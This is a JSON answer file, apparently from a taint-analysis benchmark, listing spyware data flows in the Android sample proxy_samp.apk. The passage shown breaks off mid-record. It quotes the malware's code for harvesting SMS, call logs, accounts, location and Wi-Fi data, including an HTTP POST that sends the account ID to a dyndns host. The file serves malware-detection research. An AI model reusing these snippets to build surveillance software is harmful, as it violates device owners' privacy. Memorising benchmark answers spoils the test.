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proxy_samp_findings.json
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{
"fileName": "proxy_samp.apk",
"day": "2019-07-25",
"findings": [
{
"source": {
"statement": "this.LAC = location.getLac();",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.PollerThread",
"lineNo": 739,
"targetName": "getLac",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$i0 = virtualinvoke $r17.<android.telephony.gsm.GsmCellLocation: int getLac()>()"
}
]
},
"sink": {
"statement": "Log.i(\"proxy\", \"cid=\" + this.CID + \",lac=\" + this.LAC + \",mcc=\" + this.MCC + \",mnc=\" + this.MNC);",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.PollerThread",
"lineNo": 742,
"targetName": "i",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "staticinvoke <android.util.Log: int i(java.lang.String,java.lang.String)>(\"proxy\", $r18)"
}
]
},
"intermediateFlows": [],
"attributes": {
"appendToString": true,
"nonStaticField": true,
"threading": true
},
"ID": 1,
"description": "This flow logs location information.",
"isNegative": false
},
{
"source": {
"statement": "this.LAC = location.getLac();",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.PollerThread",
"lineNo": 739,
"targetName": "getLac",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$i0 = virtualinvoke $r17.<android.telephony.gsm.GsmCellLocation: int getLac()>()"
}
]
},
"sink": {
"statement": "HttpResponse response = client.execute(post);",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.PollerThread",
"lineNo": 769,
"targetName": "execute",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r21 = interfaceinvoke $r4.<org.apache.http.client.HttpClient: org.apache.http.HttpResponse execute(org.apache.http.client.methods.HttpUriRequest)>($r7)"
}
]
},
"intermediateFlows": [
{
"statement": "tower.put(\"location_area_code\", this.LAC);",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.PollerThread",
"lineNo": 758,
"ID": 1
},
{
"statement": "towerarray.put(tower);",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.PollerThread",
"lineNo": 763,
"ID": 2
},
{
"statement": "holder.put(\"cell_towers\", towerarray);",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.PollerThread",
"lineNo": 764,
"ID": 3
},
{
"statement": "post.setEntity(new StringEntity(holder.toString()));",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.PollerThread",
"lineNo": 767,
"ID": 4
}
],
"attributes": {
"collections": true,
"nonStaticField": true,
"threading": true
},
"ID": 2,
"description": "This malicious flow reads location information and writes its into a private field, then sends it to a remote server per an HTTP POST request.",
"isNegative": false
},
{
"source": {
"statement": "File out = new File(Environment.getExternalStorageDirectory(), \"ProxyLog.out\");",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.ProxyThread",
"lineNo": 838,
"targetName": "File",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "specialinvoke $r4.<java.io.File: void <init>(java.io.File,java.lang.String)>($r6, \"ProxyLog.out\")"
}
]
},
"sink": {
"statement": "HttpResponse httpResponse = new DefaultHttpClient().execute(httpRequest);",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.ProxyThread",
"lineNo": 854,
"targetName": "execute",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r13 = virtualinvoke $r12.<org.apache.http.impl.client.DefaultHttpClient: org.apache.http.HttpResponse execute(org.apache.http.client.methods.HttpUriRequest)>($r2)"
}
]
},
"intermediateFlows": [
{
"statement": "BufferedReader in = new BufferedReader(new FileReader(out.getAbsolutePath()));",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.ProxyThread",
"lineNo": 839,
"ID": 1
},
{
"statement": "String s = in.readLine();",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.ProxyThread",
"lineNo": 844,
"ID": 2
},
{
"statement": "params.add(new BasicNameValuePair(\"l\" + i, s));",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.ProxyThread",
"lineNo": 847,
"ID": 3
},
{
"statement": "httpRequest.setEntity(new UrlEncodedFormEntity(params, \"UTF-8\"));",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.ProxyThread",
"lineNo": 853,
"ID": 4
}
],
"attributes": {
"collections": true,
"pathConstraints": true,
"threading": true
},
"ID": 3,
"description": "This malicious flow reads a log file from external storage line by line and sends the content to a remote server. Each line of the file is written to an ArrayList. This ArrayList is used to construct the HTTP entity which will be sent to a remote server.",
"isNegative": false
},
{
"source": {
"statement": "for (Account account : AccountManager.get(this).getAccounts()) {",
"methodName": "public void onCreate()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": -1,
"targetName": "getAccounts",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r9 = virtualinvoke $r8.<android.accounts.AccountManager: android.accounts.Account[] getAccounts()>()"
}
]
},
"sink": {
"statement": "out.write(logStr.toString());",
"methodName": "private void LogToFile()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 280,
"targetName": "write",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "virtualinvoke $r3.<java.io.BufferedWriter: void write(java.lang.String)>($r7)"
}
]
},
"intermediateFlows": [
{
"statement": "LogFile(\"account,\" + account.name + \",\" + account.type);",
"methodName": "public void onCreate()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 324,
"ID": 1
},
{
"statement": "logStr.append(dateFormatter.format(Calendar.getInstance().getTime()) + \",\" + logstr + \"\\r\\n\");",
"methodName": "public static void LogFile(String logstr)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 270,
"ID": 2
},
{
"statement": "public void onDestroy() {",
"methodName": "public int onStartCommand(Intent intent, int flags, int startId)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 521,
"ID": 3
},
{
"statement": "LogToFile();",
"methodName": "public void onDestroy()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 524,
"ID": 4
}
],
"attributes": {
"appendToString": true,
"lifecycle": true,
"nonStaticField": true,
"staticField": true
},
"ID": 4,
"description": "This malicious flow reads account information and writes it to a log file.",
"isNegative": false
},
{
"source": {
"statement": "for (Account account : AccountManager.get(this).getAccounts()) {",
"methodName": "public void onCreate()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": -1,
"targetName": "getAccounts",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r9 = virtualinvoke $r8.<android.accounts.AccountManager: android.accounts.Account[] getAccounts()>()"
}
]
},
"sink": {
"statement": "out.write(logStr.toString());",
"methodName": "private void LogToFile()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 280,
"targetName": "write",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "virtualinvoke $r3.<java.io.BufferedWriter: void write(java.lang.String)>($r7)"
}
]
},
"intermediateFlows": [
{
"statement": "if (account.name.contains(\"@gmail.com\")) {",
"methodName": "public void onCreate()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 325,
"ID": 1
},
{
"statement": "this.myID = account.name;",
"methodName": "public void onCreate()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 327,
"ID": 2
},
{
"statement": "LogFile(\"id,\" + this.myID + \",\" + this.myIMEI);",
"methodName": "public void onCreate()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 340,
"ID": 3
},
{
"statement": "logStr.append(dateFormatter.format(Calendar.getInstance().getTime()) + \",\" + logstr + \"\\r\\n\");",
"methodName": "public static void LogFile(String logstr)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 270,
"ID": 4
},
{
"statement": "LogFile(\"id,\" + this.myID + \",\" + this.myIMEI);",
"methodName": "public void onCreate()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 340,
"ID": 5
}
],
"attributes": {
"appendToString": true,
"lifecycle": true,
"nonStaticField": true,
"pathConstraints": true,
"staticField": true
},
"ID": 5,
"description": "This malicious flow reads account information and writes gmail acount into a private field. The gmail acount name will be logged into a file.",
"isNegative": false
},
{
"source": {
"statement": "cur = getContentResolver().query(uriSMSURI, null, \"date>\" + lastSMSTime, null, \"date\");",
"methodName": "public void QuerySMSLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 586,
"targetName": "query",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r4 = virtualinvoke $r3.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r2, null, $r5, null, \"date\")"
}
]
},
"sink": {
"statement": "out.write(logStr.toString());",
"methodName": "private void LogToFile()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 280,
"targetName": "write",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "virtualinvoke $r3.<java.io.BufferedWriter: void write(java.lang.String)>($r7)"
}
]
},
"intermediateFlows": [
{
"statement": "int index_Body = cur.getColumnIndex(\"body\");",
"methodName": "public void QuerySMSLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 591,
"ID": 1
},
{
"statement": "String strbody = cur.getString(index_Body);",
"methodName": "public void QuerySMSLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 598,
"ID": 2
},
{
"statement": "LogFile(\"sms,in,\" + strAddress + \",\" + strDate + \",\" + strbody);",
"methodName": "public void QuerySMSLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 609,
"ID": 3
},
{
"statement": "logStr.append(dateFormatter.format(Calendar.getInstance().getTime()) + \",\" + logstr + \"\\r\\n\");",
"methodName": "public static void LogFile(String logstr)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 270,
"ID": 4
},
{
"statement": "LogToFile();",
"methodName": "public void onDestroy()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 524,
"ID": 6
}
],
"attributes": {
"appendToString": true,
"lifecycle": true,
"staticField": true
},
"ID": 6,
"description": "This malicious flow reads sms from database and writes it a log file.",
"isNegative": false
},
{
"source": {
"statement": "WifiInfo wi = mWiFiManager.getConnectionInfo();",
"methodName": "public int onStartCommand(Intent intent, int flags, int startId)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 412,
"targetName": "getConnectionInfo",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r10 = virtualinvoke $r9.<android.net.wifi.WifiManager: android.net.wifi.WifiInfo getConnectionInfo()>()"
}
]
},
"sink": {
"statement": "Log.i(\"proxy\", \"\\\"\" + logstr + \"\\\"\");",
"methodName": "public static void LogFile(String logstr)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 268,
"targetName": "i",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "staticinvoke <android.util.Log: int i(java.lang.String,java.lang.String)>(\"proxy\", $r3)"
}
]
},
"intermediateFlows": [
{
"statement": "s = new StringBuilder(String.valueOf(s)).append(\",SSID=\").append(wi.getSSID()).toString();",
"methodName": "public int onStartCommand(Intent intent, int flags, int startId)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 414,
"ID": 1
},
{
"statement": "LogFile(s);",
"methodName": "public int onStartCommand(Intent intent, int flags, int startId)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 416,
"ID": 2
}
],
"attributes": {
"appendToString": true,
"lifecycle": true
},
"ID": 7,
"description": "This malicious flow reads wifi connection information and logs it.",
"isNegative": false
},
{
"source": {
"statement": "msgBody = new StringBuilder(String.valueOf(msgBody)).append(smsMsgs[i].getDisplayMessageBody()).toString();",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.smart.studio.proxy.SMSReceiver",
"lineNo": 29,
"targetName": "getDisplayMessageBody",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r9 = virtualinvoke $r13.<android.telephony.SmsMessage: java.lang.String getDisplayMessageBody()>()"
}
]
},
"sink": {
"statement": "Log.i(\"proxy\", \"\\\"\" + logstr + \"\\\"\");",
"methodName": "public static void LogFile(String logstr)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 268,
"targetName": "i",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "staticinvoke <android.util.Log: int i(java.lang.String,java.lang.String)>(\"proxy\", $r3)"
}
]
},
"intermediateFlows": [
{
"statement": "if (!ProxyService.receivedSMS(context, sendAddr, dateFormatter.format(time), msgBody)) {",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.smart.studio.proxy.SMSReceiver",
"lineNo": 35,
"ID": 1
},
{
"statement": "LogFile(\"sms,in,\" + sendAddr + \",\" + msgTime + \",\" + msgBody);",
"methodName": "public static boolean receivedSMS(Context context, String sendAddr, String msgTime, String msgBody)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 151,
"ID": 2
}
],
"attributes": {
"appendToString": true,
"array": true,
"lifecycle": true,
"pathConstraints": true
},
"ID": 8,
"description": "This malicious flow starts in a BroadcastReceiver. It reads sms message and logs it.",
"isNegative": false
},
{
"source": {
"statement": "for (Account account : AccountManager.get(this).getAccounts()) {",
"methodName": "public void onCreate()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": -1,
"targetName": "getAccounts",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r9 = virtualinvoke $r8.<android.accounts.AccountManager: android.accounts.Account[] getAccounts()>()"
}
]
},
"sink": {
"statement": "Log.i(\"proxy\", \"\\\"\" + logstr + \"\\\"\");",
"methodName": "public static void LogFile(String logstr)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 268,
"targetName": "i",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "staticinvoke <android.util.Log: int i(java.lang.String,java.lang.String)>(\"proxy\", $r3)"
}
]
},
"intermediateFlows": [
{
"statement": "LogFile(\"account,\" + account.name + \",\" + account.type);",
"methodName": "public void onCreate()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 324,
"ID": 1
}
],
"attributes": {
"appendToString": true,
"array": true,
"lifecycle": true,
"nonStaticField": true
},
"ID": 9,
"description": "This malicious flow logs account information on the device.",
"isNegative": false
},
{
"source": {
"statement": "for (Account account : AccountManager.get(this).getAccounts()) {",
"methodName": "public void onCreate()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": -1,
"targetName": "getAccounts",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r9 = virtualinvoke $r8.<android.accounts.AccountManager: android.accounts.Account[] getAccounts()>()"
}
]
},
"sink": {
"statement": "HttpResponse httpResponse = new DefaultHttpClient().execute(httpRequest);",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.ProxyThread",
"lineNo": 854,
"targetName": "execute",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r13 = virtualinvoke $r12.<org.apache.http.impl.client.DefaultHttpClient: org.apache.http.HttpResponse execute(org.apache.http.client.methods.HttpUriRequest)>($r2)"
}
]
},
"intermediateFlows": [
{
"statement": "if (account.name.contains(\"@gmail.com\")) {",
"methodName": "public void onCreate()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 325,
"ID": 1
},
{
"statement": "this.myID = account.name;",
"methodName": "public void onCreate()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 327,
"ID": 2
},
{
"statement": "HttpPost httpRequest = new HttpPost(\"http://proxylog.dyndns.org/proxy/log.php?id=\" + URLEncoder.encode(ProxyService.this.myID, \"UTF-8\"));",
"methodName": "public void run()",
"className": "com.smart.studio.proxy.ProxyService.ProxyThread",
"lineNo": 852,
"ID": 3
}
],
"attributes": {
"array": true,
"lifecycle": true,
"nonStaticField": true,
"pathConstraints": true,
"threading": true
},
"ID": 10,
"description": "This malicious flow sends Google account name to a remote server via a HTTP POST request.",
"isNegative": false
},
{
"source": {
"statement": "msgBody = new StringBuilder(String.valueOf(msgBody)).append(smsMsgs[i].getDisplayMessageBody()).toString();",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.smart.studio.proxy.SMSReceiver",
"lineNo": 29,
"targetName": "getDisplayMessageBody",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r9 = virtualinvoke $r13.<android.telephony.SmsMessage: java.lang.String getDisplayMessageBody()>()"
}
]
},
"sink": {
"statement": "out.write(logStr.toString());",
"methodName": "private void LogToFile()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 280,
"targetName": "write",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "virtualinvoke $r3.<java.io.BufferedWriter: void write(java.lang.String)>($r7)"
}
]
},
"intermediateFlows": [
{
"statement": "if (!ProxyService.receivedSMS(context, sendAddr, dateFormatter.format(time), msgBody)) {",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.smart.studio.proxy.SMSReceiver",
"lineNo": 35,
"ID": 1
},
{
"statement": "LogFile(\"sms,in,\" + sendAddr + \",\" + msgTime + \",\" + msgBody);",
"methodName": "public static boolean receivedSMS(Context context, String sendAddr, String msgTime, String msgBody)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 151,
"ID": 2
},
{
"statement": "logStr.append(dateFormatter.format(Calendar.getInstance().getTime()) + \",\" + logstr + \"\\r\\n\");",
"methodName": "public static void LogFile(String logstr)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 270,
"ID": 3
},
{
"statement": "LogToFile();",
"methodName": "public void onDestroy()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 524,
"ID": 4
},
{
"statement": "if (logStr.length() > 0) {",
"methodName": "private void LogToFile()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 288,
"ID": 5
}
],
"attributes": {
"appendToString": true,
"lifecycle": true,
"pathConstraints": true,
"staticField": true
},
"ID": 11,
"description": "This malicious flow reads incomming SMS message and writes to a log file. ",
"isNegative": false
},
{
"source": {
"statement": "WifiInfo wi = mWiFiManager.getConnectionInfo();",
"methodName": "public int onStartCommand(Intent intent, int flags, int startId)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 412,
"targetName": "getConnectionInfo",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r10 = virtualinvoke $r9.<android.net.wifi.WifiManager: android.net.wifi.WifiInfo getConnectionInfo()>()"
}
]
},
"sink": {
"statement": "out.write(logStr.toString());",
"methodName": "private void LogToFile()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 280,
"targetName": "write",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "virtualinvoke $r3.<java.io.BufferedWriter: void write(java.lang.String)>($r7)"
}
]
},
"intermediateFlows": [
{
"statement": "if (wi != null) {",
"methodName": "public int onStartCommand(Intent intent, int flags, int startId)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 413,
"ID": 1
},
{
"statement": "s = new StringBuilder(String.valueOf(s)).append(\",SSID=\").append(wi.getSSID()).toString();",
"methodName": "public int onStartCommand(Intent intent, int flags, int startId)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 414,
"ID": 2
},
{
"statement": "LogFile(s);",
"methodName": "public int onStartCommand(Intent intent, int flags, int startId)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 416,
"ID": 3
},
{
"statement": "logStr.append(dateFormatter.format(Calendar.getInstance().getTime()) + \",\" + logstr + \"\\r\\n\");",
"methodName": "public static void LogFile(String logstr)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 270,
"ID": 4
},
{
"statement": "LogToFile();",
"methodName": "public void onDestroy()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 524,
"ID": 5
},
{
"statement": "if (logStr.length() > 0) {",
"methodName": "private void LogToFile()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 288,
"ID": 6
}
],
"attributes": {
"appendToString": true,
"lifecycle": true,
"pathConstraints": true,
"staticField": true
},
"ID": 12,
"description": "This malicious flow reads WIFI information and writes to a log file.",
"isNegative": false
},
{
"source": {
"statement": "cur = getContentResolver().query(uriSMSURI, null, \"date>\" + lastSMSTime, null, \"date\");",
"methodName": "public void QuerySMSLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 586,
"targetName": "query",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r4 = virtualinvoke $r3.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r2, null, $r5, null, \"date\")"
}
]
},
"sink": {
"statement": "Log.i(\"proxy\", \"\\\"\" + logstr + \"\\\"\");",
"methodName": "public static void LogFile(String logstr)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 268,
"targetName": "i",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "staticinvoke <android.util.Log: int i(java.lang.String,java.lang.String)>(\"proxy\", $r3)"
}
]
},
"intermediateFlows": [
{
"statement": "int index_Body = cur.getColumnIndex(\"body\");",
"methodName": "public void QuerySMSLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 591,
"ID": 1
},
{
"statement": "String strbody = cur.getString(index_Body);",
"methodName": "public void QuerySMSLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 598,
"ID": 2
},
{
"statement": "LogFile(\"sms,in,\" + strAddress + \",\" + strDate + \",\" + strbody);",
"methodName": "public void QuerySMSLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 609,
"ID": 3
}
],
"attributes": {
"appendToString": true
},
"ID": 13,
"description": "This malicious flow logs incoming SMS messages. ",
"isNegative": false
},
{
"source": {
"targetName": "query",
"targetNo": 1,
"statement": "cur = getContentResolver().query(uri, null, \"date>\" + lastPhoneTime, null, \"date\");",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 635,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r4 = virtualinvoke $r3.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r1, null, $r6, null, \"date\")"
}
]
},
"sink": {
"targetName": "write",
"targetNo": 1,
"statement": "out.write(logStr.toString());",
"methodName": "private void LogToFile()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 280,
"IRs": [
{
"type": "Jimple",
"IRstatement": "virtualinvoke $r3.<java.io.BufferedWriter: void write(java.lang.String)>($r7)"
}
]
},
"intermediateFlows": [
{
"statement": "int index_Number = cur.getColumnIndex(\"number\");",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 638,
"ID": 1
},
{
"statement": "String strNumber = cur.getString(index_Number);",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 646,
"ID": 2
},
{
"statement": "s = new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(s)).append(strNumber).append(\",\").append(strName).append(\",\").append(strDate).append(\",\").toString())).append(longDuration / 60).append(':').toString();",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 674,
"ID": 3
},
{
"statement": "if (ds < 10) {",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 676,
"ID": 4
},
{
"statement": "s = new StringBuilder(String.valueOf(s)).append('0').toString();",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 677,
"ID": 5
},
{
"statement": "LogFile(new StringBuilder(String.valueOf(s)).append(ds).toString());",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 679,
"ID": 6
},
{
"statement": "logStr.append(dateFormatter.format(Calendar.getInstance().getTime()) + \",\" + logstr + \"\\r\\n\");",
"methodName": "public static void LogFile(String logstr)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 270,
"ID": 7
},
{
"statement": "LogToFile();",
"methodName": "public void onDestroy()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 524,
"ID": 8
}
],
"description": "This malicious flow saves phone call logs to a log file when the ProxyService is destoryed. This file will be later uploaded to a remote server",
"isNegative": false,
"attributes": {
"lifecycle": true,
"pathConstraints": true,
"appendToString": true,
"staticField": true,
"partialFlow": true
},
"ID": 14
},
{
"source": {
"targetName": "query",
"targetNo": 1,
"statement": "cur = getContentResolver().query(uri, null, null, null, \"date DESC\");",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 633,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r4 = virtualinvoke $r3.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r1, null, null, null, \"date DESC\")"
}
]
},
"sink": {
"targetName": "write",
"targetNo": 1,
"statement": "out.write(logStr.toString());",
"methodName": "private void LogToFile()",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 280,
"IRs": [
{
"type": "Jimple",
"IRstatement": "virtualinvoke $r3.<java.io.BufferedWriter: void write(java.lang.String)>($r7)"
}
]
},
"intermediateFlows": [
{
"statement": "int index_Name = cur.getColumnIndex(\"name\");",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 639,
"ID": 1
},
{
"statement": "String strName = cur.getString(index_Name);",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 647,
"ID": 2
},
{
"statement": "s = new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(s)).append(strNumber).append(\",\").append(strName).append(\",\").append(strDate).append(\",\").toString())).append(longDuration / 60).append(':').toString();",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 674,
"ID": 3
},
{
"statement": "if (ds < 10) {",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 676,
"ID": 4
},
{
"statement": "s = new StringBuilder(String.valueOf(s)).append('0').toString();",
"methodName": "public void QueryPhoneLog(boolean first)",
"className": "com.smart.studio.proxy.ProxyService",
"lineNo": 677,
"ID": 5
},